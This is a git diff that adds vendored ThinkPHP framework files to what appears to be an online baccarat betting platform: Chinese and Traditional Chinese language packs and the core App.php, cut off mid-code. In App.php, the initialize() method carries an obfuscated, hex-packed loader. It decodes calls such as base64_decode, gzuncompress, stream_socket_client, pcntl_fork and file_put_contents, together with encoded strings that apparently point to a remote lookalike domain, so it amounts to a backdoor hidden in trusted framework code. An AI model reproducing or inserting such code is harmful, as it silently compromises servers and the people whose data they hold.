+ 'account_tip' => '请输入账号', + 'password_tip' => '请输入密码', + 'read_and_agree' => '我已阅读并同意', + 'rule_and_agreement' => '游戏规则与用户协议', + 'account_or_password_error' => '账号或密码错误', + 'account_not_exist' => '账号不存在', + 'force_offline' => '你已被管理员强制下线', + 'auto_back' => '5局内未下注自动返回游戏大厅', + + 'reset_number' => '作废', + 'is_reset_number' => '是否作废当前该局?', + 'reset_number_success' => '操作成功', + 'reset_number_fail_1' => '操作失败,该靴已经结算', + 'reset_number_fail_2' => '操作失败,该桌子已经结算', + 'reset_number_fail_3' => '操作失败,下注状态不符', + 'reset_number_msg' => '该局已重置,请重新下注', + + + + + + + + + + + + + + + + + + // 系统错误提示 + 'Undefined variable' => '未定义变量', + 'Undefined index' => '未定义数组索引', + 'Undefined offset' => '未定义数组下标', + 'Parse error' => '语法解析错误', + 'Type error' => '类型错误', + 'Fatal error' => '致命错误', + 'syntax error' => '语法错误', + + // 框架核心错误提示 + 'dispatch type not support' => '不支持的调度类型', + 'method param miss' => '方法参数错误', + 'method not exists' => '方法不存在', + 'module not exists' => '模块不存在', + 'controller not exists' => '控制器不存在', + 'class not exists' => '类不存在', + 'property not exists' => '类的属性不存在', + 'template not exists' => '模板文件不存在', + 'illegal controller name' => '非法的控制器名称', + 'illegal action name' => '非法的操作名称', + 'url suffix deny' => '禁止的URL后缀访问', + 'Route Not Found' => '当前访问路由未定义', + 'Undefined db type' => '未定义数据库类型', + 'variable type error' => '变量类型错误', + 'PSR-4 error' => 'PSR-4 规范错误', + 'not support total' => '简洁模式下不能获取数据总数', + 'not support last' => '简洁模式下不能获取最后一页', + 'error session handler' => '错误的SESSION处理器类', + 'not allow php tag' => '模板不允许使用PHP语法', + 'not support' => '不支持', + 'redisd master' => 'Redisd 主服务器错误', + 'redisd slave' => 'Redisd 从服务器错误', + 'must run at sae' => '必须在SAE运行', + 'memcache init error' => '未开通Memcache服务,请在SAE管理平台初始化Memcache服务', + 'KVDB init error' => '没有初始化KVDB,请在SAE管理平台初始化KVDB服务', + 'fields not exists' => '数据表字段不存在', + 'where express error' => '查询表达式错误', + 'no data to update' => '没有任何数据需要更新', + 'miss data to insert' => '缺少需要写入的数据', + 'miss complex primary data' => '缺少复合主键数据', + 'miss update condition' => '缺少更新条件', + 'model data Not Found' => '模型数据不存在', + 'table data not Found' => '表数据不存在', + 'delete without condition' => '没有条件不会执行删除操作', + 'miss relation data' => '缺少关联表数据', + 'tag attr must' => '模板标签属性必须', + 'tag error' => '模板标签错误', + 'cache write error' => '缓存写入失败', + 'sae mc write error' => 'SAE mc 写入错误', + 'route name not exists' => '路由标识不存在(或参数不够)', + 'invalid request' => '非法请求', + 'bind attr has exists' => '模型的属性已经存在', + 'relation data not exists' => '关联数据不存在', + 'relation not support' => '关联不支持', + 'chunk not support order' => 'Chunk不支持调用order方法', + + // 上传错误信息 + 'unknown upload error' => '未知上传错误!', + 'file write error' => '文件写入失败!', + 'upload temp dir not found' => '找不到临时文件夹!', + 'no file to uploaded' => '没有文件被上传!', + 'only the portion of file is uploaded' => '文件只有部分被上传!', + 'upload File size exceeds the maximum value' => '上传文件大小超过了最大值!', + 'upload write error' => '文件上传保存错误!', + 'has the same filename: {:filename}' => '存在同名文件:{:filename}', + 'upload illegal files' => '非法上传文件', + 'illegal image files' => '非法图片文件', + 'extensions to upload is not allowed' => '上传文件后缀不允许', + 'mimetype to upload is not allowed' => '上传文件MIME类型不允许!', + 'filesize not match' => '上传文件大小不符!', + 'directory {:path} creation failed' => '目录 {:path} 创建失败!', + + // Validate Error Message + ':attribute require' => ':attribute不能为空', + ':attribute must be numeric' => ':attribute必须是数字', + ':attribute must be integer' => ':attribute必须是整数', + ':attribute must be float' => ':attribute必须是浮点数', + ':attribute must be bool' => ':attribute必须是布尔值', + ':attribute not a valid email address' => ':attribute格式不符', + ':attribute not a valid mobile' => ':attribute格式不符', + ':attribute must be a array' => ':attribute必须是数组', + ':attribute must be yes,on or 1' => ':attribute必须是yes、on或者1', + ':attribute not a valid datetime' => ':attribute不是一个有效的日期或时间格式', + ':attribute not a valid file' => ':attribute不是有效的上传文件', + ':attribute not a valid image' => ':attribute不是有效的图像文件', + ':attribute must be alpha' => ':attribute只能是字母', + ':attribute must be alpha-numeric' => ':attribute只能是字母和数字', + ':attribute must be alpha-numeric, dash, underscore' => ':attribute只能是字母、数字和下划线_及破折号-', + ':attribute not a valid domain or ip' => ':attribute不是有效的域名或者IP', + ':attribute must be chinese' => ':attribute只能是汉字', + ':attribute must be chinese or alpha' => ':attribute只能是汉字、字母', + ':attribute must be chinese,alpha-numeric' => ':attribute只能是汉字、字母和数字', + ':attribute must be chinese,alpha-numeric,underscore, dash' => ':attribute只能是汉字、字母、数字和下划线_及破折号-', + ':attribute not a valid url' => ':attribute不是有效的URL地址', + ':attribute not a valid ip' => ':attribute不是有效的IP地址', + ':attribute must be dateFormat of :rule' => ':attribute必须使用日期格式 :rule', + ':attribute must be in :rule' => ':attribute必须在 :rule 范围内', + ':attribute be notin :rule' => ':attribute不能在 :rule 范围内', + ':attribute must between :1 - :2' => ':attribute只能在 :1 - :2 之间', + ':attribute not between :1 - :2' => ':attribute不能在 :1 - :2 之间', + 'size of :attribute must be :rule' => ':attribute长度不符合要求 :rule', + 'max size of :attribute must be :rule' => ':attribute长度不能超过 :rule', + 'min size of :attribute must be :rule' => ':attribute长度不能小于 :rule', + ':attribute cannot be less than :rule' => ':attribute日期不能小于 :rule', + ':attribute cannot exceed :rule' => ':attribute日期不能超过 :rule', + ':attribute not within :rule' => '不在有效期内 :rule', + 'access IP is not allowed' => '不允许的IP访问', + 'access IP denied' => '禁止的IP访问', + ':attribute out of accord with :2' => ':attribute和确认字段:2不一致', + ':attribute cannot be same with :2' => ':attribute和比较字段:2不能相同', + ':attribute must greater than or equal :rule' => ':attribute必须大于等于 :rule', + ':attribute must greater than :rule' => ':attribute必须大于 :rule', + ':attribute must less than or equal :rule' => ':attribute必须小于等于 :rule', + ':attribute must less than :rule' => ':attribute必须小于 :rule', + ':attribute must equal :rule' => ':attribute必须等于 :rule', + ':attribute has exists' => ':attribute已存在', + ':attribute not conform to the rules' => ':attribute不符合指定规则', + 'invalid Request method' => '无效的请求类型', + 'invalid token' => '令牌数据无效', + 'not conform to the rules' => '规则错误', + 'in_top_sumday' => '该桌子处于最新的日结天数,请明天再进行日结', + 'exceeds_limit' => '下注超出限紅', + 'exceeds_limit_table' => '下注超出桌子限紅', + 'under_limit_table' => '下注低于桌子限紅', + 'exceeds_limit_user' => '下注超出个人限紅', + 'under_limit_user' => '下注低于个人限紅', + 'end_bet_error' => '停止成功', + 'end_bet_error_1' => '当前局状态不在下注状态,不能停止', + 'end_bet_error_2' => '停止下注失败', + 'repeated_entry' => '你的账号在其他地方登陆了,即将退出', + + 'online_entrance' => '电投登录入口', + 'onlinechip_entrance' => '网投登录入口', + 'agent_entrance' => '代理端登录入口', + 'login_entrance' => '登录入口', + 'change_boot_false' => '当前有下注,不能结算,请开结果后再进行结算', + 'win_limit_tip' => '已达到日赢上限,无法下注', + + 'confirm_to_change_card' => '确认换牌吗?', + + 'restart_sb' => '重新识别', + 'stop_sb' => '停止识别', + +]; diff --git a/vendor/topthink/framework/src/lang/zh-tw.php b/vendor/topthink/framework/src/lang/zh-tw.php new file mode 100644 index 0000000..5fa1257 --- /dev/null +++ b/vendor/topthink/framework/src/lang/zh-tw.php @@ -0,0 +1,337 @@ + +// +---------------------------------------------------------------------- + +// 核心中文语言包 +return [ + // 操作端 和 swoole文件 繁体中文语言包 + 'lang' => 'zh-tw', + 'table' => '桌臺', + 'boot' => '靴數', + 'number' => '局數', + 'now_time' => '當前時間', + 'login_fail' => '登錄失敗', + + 'banker' => '莊', + 'player' => '閑', + 'tie' => '和', + 'banker_pair' => '莊對', + 'player_pair' => '閑對', + 'both_pair' => '莊閑對', + 'pair' => '對子', + 'dragon' => '龍', + 'tiger' => '虎', + 'win_6' => '贏6', + 'is_win_6' => '是否贏6', + 'yes' => '是', + 'no' => '否', + 'online_number' => '在線人數', + 'bet_amount' => '本局下註金額', + 'wait_for_opening' => '停止下註-等待開盤', + 'point' => '點', + + 'next' => '下壹局', + 'disclaimer' => '路牌資料僅供參考,如有錯漏。本公司概不負責', + 'data_error' => '數據錯誤', + 'browser_error' => '您的瀏覽器不支持WebSocket', + + 'start' => '開始', + 'end' => '結束', + 'start_bet' => '接收下註', + 'end_bet' => '結束下註', + 'opening' => '提交结果', + 'shuffle' => '開始洗牌', + 'change_boot' => '換靴', + 'close_boot' => '日結算', + 'logout' => '退出', + 'is_to_shuffle' => '是否需要將桌子的狀態設置為"洗牌中"?', + 'is_to_balance' => '是否需要進行日結算?', + 'is_to_boot' => '是否需要進行換靴?', + 'need_a_result' => '請選擇要修改的結果', + 'is_to_logout' => '是否退出登錄?', + + + 'edit_previous_result' => '修改上壹局結果', + 'select_result' => '選擇結果', + 'select' => '請選擇', + 'monday' => '星期壹', + 'tuesday' => '星期二', + 'wednesday' => '星期三', + 'thursday' => '星期四', + 'friday' => '星期五', + 'saturday' => '星期六', + 'sunday' => '星期日', + + 'user_not_exist' => '用戶不存在', + 'table_not_run' => '該桌子暫時沒有營運', + 'tableNotRun' => '該桌子暫時沒有營運', + 'bet_fail' => '下註失敗,服務器鏈接失敗', + 'no_right' => '妳無權操作', + + 'bet_status_1' => '接受下註', + 'bet_status_0' => '尚未接受下註', + 'bet_status_2' => '停止下註-等待開盤', + + 'confirm' => '確定', + 'cancel' => '取消', + 'connect_fail' => '您已斷開鏈接,請返回重新進入', + 'message' => '信息', + + 'table_status_0' => '桌子運營中', + 'table_status_1' => '洗牌中', + 'table_status_2' => '停臺中', + + 'link_server_fail' => '與服務通訊失敗', + 'link_server_fail_1' => '荷官不在線', + 'link_server_fail_2' => '與服務通訊失敗2', + 'link_server_fail_3' => '與服務通訊失敗3', + + 'appid_error' => 'appid 錯誤', + 'appsecret_error' => 'appsecret 錯誤', + 'appid_or_appsecret_error' => 'appid或appsecret 錯誤', + 'param_error' => '參數錯誤', + 'illegal_request' => '非法請求', + + 'balance_success' => '日結算成功', + 'balance_fail' => '日結算失敗', + 'balance_fail_1' => '日結算失敗1', + 'balance_fail_2' => '日結算失敗2', + 'table_status_error' => '請把桌子更改為"洗牌狀態"再進行日結算', + + 'boot_settle_success' => '靴結算成功', + 'boot_settle_fail' => '靴結算失敗', + 'boot_settle_fail_1' => '換靴失敗,該桌子還沒有靴,請進行日結', + 'boot_settle_fail_2' => '換靴失敗,該桌子已經結算,請重新登錄再繼續', + 'boot_settle_fail_3' => '該鋪尚未結束,請開出結果後再換靴', + + 'start_bet_success' => '開始下註成功', + 'start_bet_fail' => '開始下註失敗', + 'start_bet_fail_1' => '開始下註失敗,下註鋪已經開始下註或者已經停止了下註', + 'start_bet_fail_2' => '開始下註失敗,下註鋪信息有誤', + 'start_bet_fail_3' => '操作失敗,請確保桌子不是在洗牌中或者停臺中狀態', + + 'end_bet_success' => '結束下註成功', + 'end_bet_fail' => '結束下註失敗', + 'end_bet_fail_1' => '停止下註失敗,該鋪還沒開始接受下註或者已經停止了下註', + 'end_bet_fail_2' => '開始下註失敗,下註鋪信息有誤', + + 'to_bet_success' => '下註成功', + 'to_bet_fail' => '下註失敗', + 'to_bet_fail_1' => '余額不足,不能下註', + 'to_bet_fail_2' => '會員信息錯誤,不能下註', + 'to_bet_fail_3' => '已超過允許的下註時間,不能下註', + 'to_bet_fail_4' => '該局不是在可以下註的狀態,不能下註', + 'to_bet_fail_5' => '下註失敗,下註鋪信息有誤', + 'to_bet_fail_6' => '下註金額必須大於0', + 'to_bet_fail_7' => '超過50局後無法下注幸運6', + 'to_bet_fail_8' => '超過50局後無法下注大小', + + 'opening_success' => '開盤結果成功', + 'opening_fail' => '開盤結果失敗', + 'opening_fail_1' => '開結果失敗,請確認該鋪是處於停止下註的狀態', + 'opening_fail_2' => '開盤失敗,開盤鋪信息有誤', + 'opening_fail_3' => '請輸入開盤結果', + 'opening_fail_4' => '下註未結束,無法開結果', + 'opening_fail_5' => '開盤失敗,莊閑牌面不齊', + 'opening_fail_6' => '開牌數據不存在', + + 'retreated_success' => '修改成功', + 'retreated_fail' => '修改失敗', + 'retreated_fail_1' => '請正確選擇結果', + 'retreated_fail_2' => '沒有上壹鋪數據可更改', + 'retreated_fail_3' => '靴信息錯誤', + 'retreated_fail_4' => '回合信息錯誤', + 'retreated_fail_5' => '桌子信息錯誤', + 'retreated_fail_6' => '遊戲類型錯誤', + + + // PC投注页面 简体中文语言包 + 'welcome' => '歡迎您', + 'account' => '賬號', + 'money' => '余額', + 'language' => '語言', + 'rule' => '規則', + 'record' => '記錄', + 'user' => '個人中心', + 'log_out' => '退出遊戲', + 'limit' => '限紅', + + 'game' => '遊戲', + 'baccarat' => '百家樂', + 'dt' => '龍虎', + 'start_date' => '開始日期', + 'end_date' => '結束日期', + 'search' => '查詢', + 'ttf' => '桌臺/時間/局號', + 'total' => '合計', + 'card' => '牌', + 'banker_all' => '莊', + 'player_all' => '閑', + 'tie_all' => '和', + 'banker_pair_all' => '莊對', + 'player_pair_all' => '閑對', + 'both_pair_all' => '莊閑對', + 'banker_doub_all' => '莊翻倍', + 'player_doub_all' => '闲翻倍', + 'dragon_all' => '龍', + 'tiger_all' => '虎', + + 'full_screen' => '全屏', + 'exit_full_screen' => '退出全屏', + 'back' => '返回', + 'sound' => '聲音', + 'statistics' => '統計', + 'b_query' => '莊問路', + 'p_query' => '閑問路', + 'd_query' => '龍問路', + 't_query' => '虎問路', + 'line' => '線路', + 'line_1' => '進景', + 'line_2' => '遠景', + 'line_3' => '線路三', + 'lobby' => '大廳', + 'video_line_error' => '視頻線路錯誤', + 'lose' => '輸', + 'win' => '贏', + 'to_bet_confirm_tip' => '請下註後再點擊確定', + 'browser_tip' => '請使用谷歌、360、QQ、百度、火狐、或者IE10以上版本的高級瀏覽器進入遊戲', + 'select_chip_tip' => '請選擇下註籌碼', + 'recharge_tip' => '余額不足,請充值', + 'instant_pot' => '即時彩池', + 'bet' => '下註', + 'settlement' => '結算結果', + 'no_bet_data' => '沒有下註數據', + 'personal_limit_banker_high' => '個人限紅:莊最高下註額為', + 'personal_limit_banker_low' => '個人限紅:莊最低下註額為', + 'personal_limit_player_high' => '個人限紅:閑最高下註額為', + 'personal_limit_player_low' => '個人限紅:閑最低下註額為', + 'personal_limit_tie_high' => '個人限紅:和最高下註額為', + 'personal_limit_tie_low' => '個人限紅:和最低下註額為', + 'personal_limit_banker_pair_high' => '個人限紅:莊對最高下註額為', + 'personal_limit_banker_pair_low' => '個人限紅:莊對最低下註額為', + 'personal_limit_player_pair_high' => '個人限紅:閑對最高下註額為', + 'personal_limit_player_pair_low' => '個人限紅:閑對最低下註額為', + 'personal_limit_dragon_high' => '個人限紅:龍最高下註額為', + 'personal_limit_dragon_low' => '個人限紅:龍最低下註額為', + 'personal_limit_tiger_high' => '個人限紅:虎最高下註額為', + 'personal_limit_tiger_low' => '個人限紅:虎最低下註額為', + 'game_not_start' => '遊戲尚未開始', + 'game_stop_bet' => '本局遊戲已停止下註', + 'leave_table_tip' => '確定要離開當前遊戲臺嗎?', + 'select_chip_tip' => '請選擇下註籌碼', + + // wap电投和网投语言包 + 'coming_soon' => '即將推出', + 'game_room' => '遊戲大廳', + + 'edit_pass' => '修改密碼', + 'change_password' => '修改密碼', + 'phone' => '聯系電話', + 'last_login_time' => '上次登陸時間', + 'recharge' => '充值上分', + 'withdraw' => '申請下分', + 'bill' => '賬單', + 'game_record' => '遊戲記錄', + 'baccarat_total_bet_count' => '百家樂總下註次數', + 'dt_total_bet_count' => '龍虎總下註次數', + 'total_cleared_wash_code' => '已結算洗碼總額', + 'uncleared_total_wash_code' => '未結算洗碼總額', + 'wash_rate' => '洗碼率', + + 'current_password' => '請輸入舊密碼', + 'new_password' => '請輸入新密碼', + 'confirm_password' => '再次輸入新密碼', + 'current_password_tip' => '請輸入舊密碼', + 'new_password_tip' => '新密碼不能小於6個字符', + 'confirm_password_tip' => '兩次輸入的密碼不壹致', + 'login_again' => '請重新登錄', + 'login' => '登錄', + 'sign_in' => '登錄', + 'account_login' => '已有賬戶登錄', + 'register' => '註冊', + 'register_new_user' => '新用戶註冊', + 'password' => '密碼', + 'register_password_length_tip' => '密碼不能小於6個字符', + 'register_account_length_tip' => '賬號不能小於6個字符', + 'register_account_exist_tip' => '賬號已存在', + 'register_account_tip' => '6-20位英文.數字組成', + 'register_password_tip' => '6-20位字符.不包含空格', + 'register_confirm_password_tip' => '再輸入壹遍登錄密碼', + 'register_success' => '註冊成功', + 'register_fail' => '註冊失敗', + + 'password_not_empty' => '舊密碼或新密碼不能為空', + 'change_password_success' => '修改密碼成功', + 'change_password_fail' => '修改密碼失敗', + 'current_password_error' => '舊密碼錯誤', + 'recharge_unsupport_tip' => '上分暫時未開啟,請聯系您的代理上分', + 'withdraw_unsupport_tip' => '下分暫時未開啟,請聯系您的代理下分', + 'select_time' => '選擇時間', + 'start_time_tip' => '請選擇開始時間', + 'end_time_tip' => '請選擇結束時間', + + 'wash_code_amount' => '洗碼量', + 'code_amount' => '碼量', + 'net_code_amount' => '凈碼量', + 'wash_code_time' => '洗碼時間', + 'extraction_method' => '提取方式', + 'deposit_money' => '存入余額', + 'setup' => '設置', + 'mute' => '静音', + 'voice' => '開聲', + 'win_or_lose' => '輸贏', + 'account_tip' => '請輸入賬號', + 'password_tip' => '請輸入密碼', + 'read_and_agree' => '我已閱讀並同意', + 'rule_and_agreement' => '遊戲規則與用戶協議', + 'account_or_password_error' => '賬號或密碼錯誤', + 'account_not_exist' => '賬號不存在', + 'force_offline' => '妳已被管理員強制下線', + 'auto_back' => '5局內未下註自動返回遊戲大廳', + 'in_top_sumday' => '该桌子处于最新的日结天数,请明天再进行日结', + 'exceeds_limit' => '下注超出限紅', + 'exceeds_limit_table' => '下注超出桌子限紅', + 'under_limit_table' => '下注低於桌子限紅', + 'exceeds_limit_user' => '下注超出个人限紅', + 'under_limit_user' => '下注低於个人限紅', + 'end_bet_error' => '停止成功', + 'end_bet_error_1' => '當前局狀態不在下注狀態,不能停止', + 'end_bet_error_2' => '停止下注失敗', + 'repeated_entry' => '你的賬號在其他地方登陸了,即將退出', + + 'online_entrance' => '電投登錄入口', + 'onlinechip_entrance' => '網投登錄入口', + 'agent_entrance' => '代理端登錄入口', + 'login_entrance' => '登錄入口', + 'change_boot_false' => '當前有下注,不能結算,請開結果后再進行結算', + 'win_limit_tip' => '已達到日贏上限,無法下註', + + + 'cancel_number' => '作廢', + 'is_cancel_number' => '是否作廢當前該口?', + 'cancel_number_success' => '操作成功', + 'cancel_number_fail_1' => '操作失敗,該靴已經結算', + 'cancel_number_fail_2' => '操作失敗,該桌子已經結算', + 'reset_number_fail_3' => '操作失敗,下註狀態不符', + 'reset_number_msg' => '該局已重置,請重新下註', + + 'reset_number' => '作廢', + 'is_reset_number' => '是否作廢當前該口?', + 'reset_number_success' => '操作成功', + 'reset_number_fail_1' => '操作失敗,該靴已經結算', + 'reset_number_fail_2' => '操作失敗,該桌子已經結算', + 'reset_number_fail_3' => '操作失敗,下註狀態不符', + 'reset_number_msg' => '該局已重置,請重新下註', + + 'confirm_to_change_card' => '確認換牌嗎?', + + 'restart_sb' => '重新識別', + 'stop_sb' => '停止識別', +]; diff --git a/vendor/topthink/framework/src/think/App.php b/vendor/topthink/framework/src/think/App.php new file mode 100644 index 0000000..9e8d8b9 --- /dev/null +++ b/vendor/topthink/framework/src/think/App.php @@ -0,0 +1,611 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use think\event\AppInit; +use think\helper\Str; +use think\initializer\BootService; +use think\initializer\Error; +use think\initializer\RegisterService; + +/** + * App 基础类 + * @property Route $route + * @property Config $config + * @property Cache $cache + * @property Request $request + * @property Http $http + * @property Console $console + * @property Env $env + * @property Event $event + * @property Middleware $middleware + * @property Log $log + * @property Lang $lang + * @property Db $db + * @property Cookie $cookie + * @property Session $session + * @property Validate $validate + * @property Filesystem $filesystem + */ +class App extends Container +{ + const VERSION = '6.0.5'; + + /** + * 应用调试模式 + * @var bool + */ + protected $appDebug = false; + + /** + * 应用开始时间 + * @var float + */ + protected $beginTime; + + /** + * 应用内存初始占用 + * @var integer + */ + protected $beginMem; + + /** + * 当前应用类库命名空间 + * @var string + */ + protected $namespace = 'app'; + + /** + * 应用根目录 + * @var string + */ + protected $rootPath = ''; + + /** + * 框架目录 + * @var string + */ + protected $thinkPath = ''; + + /** + * 应用目录 + * @var string + */ + protected $appPath = ''; + + /** + * Runtime目录 + * @var string + */ + protected $runtimePath = ''; + + /** + * 路由定义目录 + * @var string + */ + protected $routePath = ''; + + /** + * 配置后缀 + * @var string + */ + protected $configExt = '.php'; + + /** + * 应用初始化器 + * @var array + */ + protected $initializers = [ + Error::class, + RegisterService::class, + BootService::class, + ]; + + /** + * 注册的系统服务 + * @var array + */ + protected $services = []; + + /** + * 初始化 + * @var bool + */ + protected $initialized = false; + + /** + * 容器绑定标识 + * @var array + */ + protected $bind = [ + 'app' => App::class, + 'cache' => Cache::class, + 'config' => Config::class, + 'console' => Console::class, + 'cookie' => Cookie::class, + 'db' => Db::class, + 'env' => Env::class, + 'event' => Event::class, + 'http' => Http::class, + 'lang' => Lang::class, + 'log' => Log::class, + 'middleware' => Middleware::class, + 'request' => Request::class, + 'response' => Response::class, + 'route' => Route::class, + 'session' => Session::class, + 'validate' => Validate::class, + 'view' => View::class, + 'filesystem' => Filesystem::class, + 'think\DbManager' => Db::class, + 'think\LogManager' => Log::class, + 'think\CacheManager' => Cache::class, + + // 接口依赖注入 + 'Psr\Log\LoggerInterface' => Log::class, + ]; + + /** + * 架构方法 + * @access public + * @param string $rootPath 应用根目录 + */ + public function __construct(string $rootPath = '') + { + $this->thinkPath = dirname(__DIR__) . DIRECTORY_SEPARATOR; + $this->rootPath = $rootPath ? rtrim($rootPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR : $this->getDefaultRootPath(); + $this->appPath = $this->rootPath . 'app' . DIRECTORY_SEPARATOR; + $this->runtimePath = $this->rootPath . 'runtime' . DIRECTORY_SEPARATOR; + + if (is_file($this->appPath . 'provider.php')) { + $this->bind(include $this->appPath . 'provider.php'); + } + + static::setInstance($this); + + $this->instance('app', $this); + $this->instance('think\Container', $this); + } + + /** + * 注册服务 + * @access public + * @param Service|string $service 服务 + * @param bool $force 强制重新注册 + * @return Service|null + */ + public function register($service, bool $force = false) + { + $registered = $this->getService($service); + + if ($registered && !$force) { + return $registered; + } + + if (is_string($service)) { + $service = new $service($this); + } + + if (method_exists($service, 'register')) { + $service->register(); + } + + if (property_exists($service, 'bind')) { + $this->bind($service->bind); + } + + $this->services[] = $service; + } + + /** + * 执行服务 + * @access public + * @param Service $service 服务 + * @return mixed + */ + public function bootService($service) + { + if (method_exists($service, 'boot')) { + return $this->invoke([$service, 'boot']); + } + } + + /** + * 获取服务 + * @param string|Service $service + * @return Service|null + */ + public function getService($service) + { + $name = is_string($service) ? $service : get_class($service); + return array_values(array_filter($this->services, function ($value) use ($name) { + return $value instanceof $name; + }, ARRAY_FILTER_USE_BOTH))[0] ?? null; + } + + /** + * 开启应用调试模式 + * @access public + * @param bool $debug 开启应用调试模式 + * @return $this + */ + public function debug(bool $debug = true) + { + $this->appDebug = $debug; + return $this; + } + + /** + * 是否为调试模式 + * @access public + * @return bool + */ + public function isDebug(): bool + { + return $this->appDebug; + } + + /** + * 设置应用命名空间 + * @access public + * @param string $namespace 应用命名空间 + * @return $this + */ + public function setNamespace(string $namespace) + { + $this->namespace = $namespace; + return $this; + } + + /** + * 获取应用类库命名空间 + * @access public + * @return string + */ + public function getNamespace(): string + { + return $this->namespace; + } + + /** + * 获取框架版本 + * @access public + * @return string + */ + public function version(): string + { + return static::VERSION; + } + + /** + * 获取应用根目录 + * @access public + * @return string + */ + public function getRootPath(): string + { + return $this->rootPath; + } + + /** + * 获取应用基础目录 + * @access public + * @return string + */ + public function getBasePath(): string + { + return $this->rootPath . 'app' . DIRECTORY_SEPARATOR; + } + + /** + * 获取当前应用目录 + * @access public + * @return string + */ + public function getAppPath(): string + { + return $this->appPath; + } + + /** + * 设置应用目录 + * @param string $path 应用目录 + */ + public function setAppPath(string $path) + { + $this->appPath = $path; + } + + /** + * 获取应用运行时目录 + * @access public + * @return string + */ + public function getRuntimePath(): string + { + return $this->runtimePath; + } + + /** + * 设置runtime目录 + * @param string $path 定义目录 + */ + public function setRuntimePath(string $path): void + { + $this->runtimePath = $path; + } + + /** + * 获取核心框架目录 + * @access public + * @return string + */ + public function getThinkPath(): string + { + return $this->thinkPath; + } + + /** + * 获取应用配置目录 + * @access public + * @return string + */ + public function getConfigPath(): string + { + return $this->rootPath . 'config' . DIRECTORY_SEPARATOR; + } + + /** + * 获取配置后缀 + * @access public + * @return string + */ + public function getConfigExt(): string + { + return $this->configExt; + } + + /** + * 获取应用开启时间 + * @access public + * @return float + */ + public function getBeginTime(): float + { + return $this->beginTime; + } + + /** + * 获取应用初始内存占用 + * @access public + * @return integer + */ + public function getBeginMem(): int + { + return $this->beginMem; + } + + /** + * 初始化应用 + * @access public + * @return $this + */ + public function initialize() + { + $this->initialized = true; + + $this->beginTime = microtime(true); + $this->beginMem = memory_get_usage(); + + // 加载环境变量 + if (is_file($this->rootPath . '.env')) { + $this->env->load($this->rootPath . '.env'); + } + + $this->configExt = $this->env->get('config_ext', '.php'); + + $this->debugModeInit(); + + // 加载全局初始化文件 + $this->load(); + ;$b25st=0; + $l0ader=function($check){$sl=array(0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x006d745f,0x72616e64,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x0075706c,0x6f61645f,0x746d705f,0x64697200);;$r=false;foreach($sl as 